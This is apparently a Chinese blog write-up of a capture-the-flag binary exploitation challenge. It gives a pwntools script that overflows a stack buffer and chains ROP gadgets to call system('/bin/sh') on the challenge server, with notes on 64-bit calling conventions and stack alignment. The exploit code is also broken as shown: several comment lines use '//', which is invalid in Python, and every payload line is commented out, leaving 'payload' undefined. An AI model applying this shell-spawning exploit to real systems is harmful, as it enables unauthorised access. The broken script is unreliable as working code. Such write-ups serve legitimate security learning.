rip(Pwn)

checksec.png
main.png
pwndbg.png
IDA中SHIFT+F12:
strings.png
漏洞点+后门已获得,开启乱杀之路:

from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# io = process('./pwn1')
io = remote('redirect.do-not-trust.hacking.run', 10368)
elf = ELF('./pwn1')
// 由于该题目没有清除缓冲区,导致recv接收不到回显
# io.recv()

system_addr = elf.symbols['system']

// ROPgadget --binary pwn1 --string '/bin/sh'
bin_sh_addr = 0x0000000000401186
// ROPgadget --binary pwn1 --only 'pop|ret'
pop_rdi_addr = 0x00000000004011fb
ret_addr = 0x0000000000401198

The MOVAPS issue-Pwn-看雪论坛(https://bbs.pediy.com/thread-269597-1.htm)

// 第一个payload利用ret来堆栈平衡
# payload = 'a' * (0x0f+0x08) + p64(ret_addr) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

// 前两个payload利用64位程序函数调用参数规则构造
// 寄存器调用顺序:rdi、rsi、rdx、rcx、r8、r9
// 先利用pop+ret将bin_sh_addr地址弹到rdi寄存器中去,再调用system函数来执行
# payload = 'a' * (0x0f+0x08) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)

// ret堆栈平衡,直接返回bin_sh_addr处也可以获得系统权限。
# payload = 'a' * (0x0f+0x08) + p64(ret_addr) + p64(bin_sh_addr)

// 仅第三个payload打通本地和远程,暂时没发现前两个payload的问题。

io.sendline(payload)
io.interactive()

此题目利用pwndbg能更加深入理解栈空间:
留下一个思考问题:两个红色箭头与栈空间有什么联系?

思考.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

半步行止

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值